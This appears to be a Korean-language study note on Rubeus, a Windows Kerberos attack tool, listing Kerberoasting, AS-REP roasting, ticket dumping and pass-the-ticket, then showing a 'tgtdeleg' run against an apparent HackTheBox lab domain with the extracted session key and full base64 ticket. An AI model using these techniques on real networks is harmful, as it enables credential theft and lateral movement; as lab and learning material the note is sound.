1. 개요
Windows 의 Kerberos 티켓을 훔치고, 만들고, 심고, 공격하는 만능 툴이다.
1.1. 주요 기능
-
Kerberoasting : 서비스 계정의 티켓을 요청해 그 안에 있는 해시를 긁어옴.
-
AS-REP Roasting : Kerberos 사전 인증 필요 없음 설정이 된 사용자를 찾아 해시를 훔침
-
Ticket Dump : 현재 컴퓨터 메모리에 로드된 모든 사용자의 Kerberos 티켓을 추출. Mimikatz 와는 비슷하지만 Rubeus가 Kerberos 에 특화되어 있고 분석하기 쉬운 형태로 보여줌
-
Pass-The-Ticket : 훔치거나 생성한 티켓(.kirbi 파일)을 현재 내 세션에 주입. 비밀번호를 몰라도 주입된 티켓의 권한을 획득해 다른 서버로 이동 가능
-
ASKTGT, RENEW : 해시를 알고 있으면 그걸 이용해 합법적 TGT(티켓)을 발급받음
2. 사용법
2.1. 기본 사용법
2.2. 아 일단 패스
C:\ProgramData>.\rubeus.exe tgtdeleg /nowrap
.\rubeus.exe tgtdeleg /nowrap
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/g0.flight.htb'
[+] Kerberos GSS-API initialization success!
[+] Delegation request success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: lPQt2hyQngG1lMZhVHz+Tv5K0sstsLDERUERi61KYKw=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECocL2WLv/lqGoCuNVYoIOeliZ4+moMCB+UWStarZD+UhJ3me2XxMjo0UFUf8Id0fOjazemri/4y1SThCsJaNOn7bjVL7vaLpZT0XF9cQLyZujc7WucB8J8Xuebi12GdZr7o/EkQ/f3xKtlnQCrzHnfjelSvcfLYW3p6cSigeWTswKtzIozis+c9HBf3ZHL6fOGl25DQ+99QdbXtnB60uO5RA7tdl7MEzprqwP2+bRKHioeX1VQmSV51WB9IMTKnJfC6QRzxAeGK9wsp8COm2MaftK7hYK6OdgKgwf19lW9Uy4tMgUQBbecb0leJr67rgDJOkGJPBiMKWPNwtjbm9OP+AYO7v1csS1wy6Qlmm55CfmgMlNuTMzR0OavkV9C8Yz4a5N291Vl/hxbbxY9pyhmYFLDlb4/XzBMo/vwv8x5llRXwCUpwIFrvTbiibEJAEpT8J5v+pWWEJkwCH1kpacK1VHRxuTCoJg4QAcPxzzToEnG5YG/lpf8HSuWBSHI/yLONVCCP50A+ykqOPwWXIjbH+bqH1CbgPzX58vfGcGGVRKdeSA2ymZ1wqBYFmqeWBuKsT7CqbYy2/3GZyynnwxyruagkDn2aYo59F+uSR4lJEbbfDgtjOyy88PTqYjm/pXP8P0m4QW8wLo4MwfySRm2b5v2yJNvL/RMWco9Gh/vbtszWo6XPinbSo9TO3pVnpMyEfxZt18io45ScyWZ4IiTZLcgRmYdtf3xOfsoFl+clP1pbs0BQuyqUxtDtycO+qOu64HuTMYzPcznZkH5qpH3oitPagFEUwKUAOjcsDs6dpdRcJ0LtvUn4Cj1v2yMNn85/rBFG6l4LmurNIKbn/zI/vvH9YnYfLUHvHgsj6ConbyPhpzjY6sZ81lSC5mFQWxArbI6fdqaGuz8Lo0bAx8LuNZktX19XAhx+fCBK5z85L9gw2bIvrFo5Y45liKP1eZ8nTnULtYKJDbe6TdEH+8jgUM4t8LLm7auW7hw2JhhQY/3pIOMl0sUdrxtmTGA1pzp5eYQf0LOoDu6Xcvw9fDsDXfv9CsPsGiVYAK8vpDYIV/gwA77c7YQ8P41u0AGoynMWhjyKygQDsQvOgHuMRtLi8OAPUQV6wBRsTwjcT8rhXwouA0JTXrehBFYWMOu9PvcN3HMJ0KqVTbIHxQJxeVvC77/81I3u/5bMgklwdIolxCEI7kw0V/EXx1mgRaRqLTghaWwv4mRrPnLICPHTBIg8CUCKBiG5SY34R0bPf92XVm5aXKVF2fzJOh9BTDoZqJiyrvO5mMMPyWasV6cqTBmxVzm+Nc5ueoQ+jNtEwS5L8rIyMRT/c3IuR/Df14g4vHuB+I95QJaQq3+kfBdZjyDm+1U7VjZha+8epo4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQg3XtyTWGcptaOlt/wiiTG+SsUTJmH/zO32mep7qFxlOWhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI1MTIxNzAxMzgxOFqmERgPMjAyNTEyMTcxMTM4MThapxEYDzIwMjUxMjI0MDEzODE4WqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC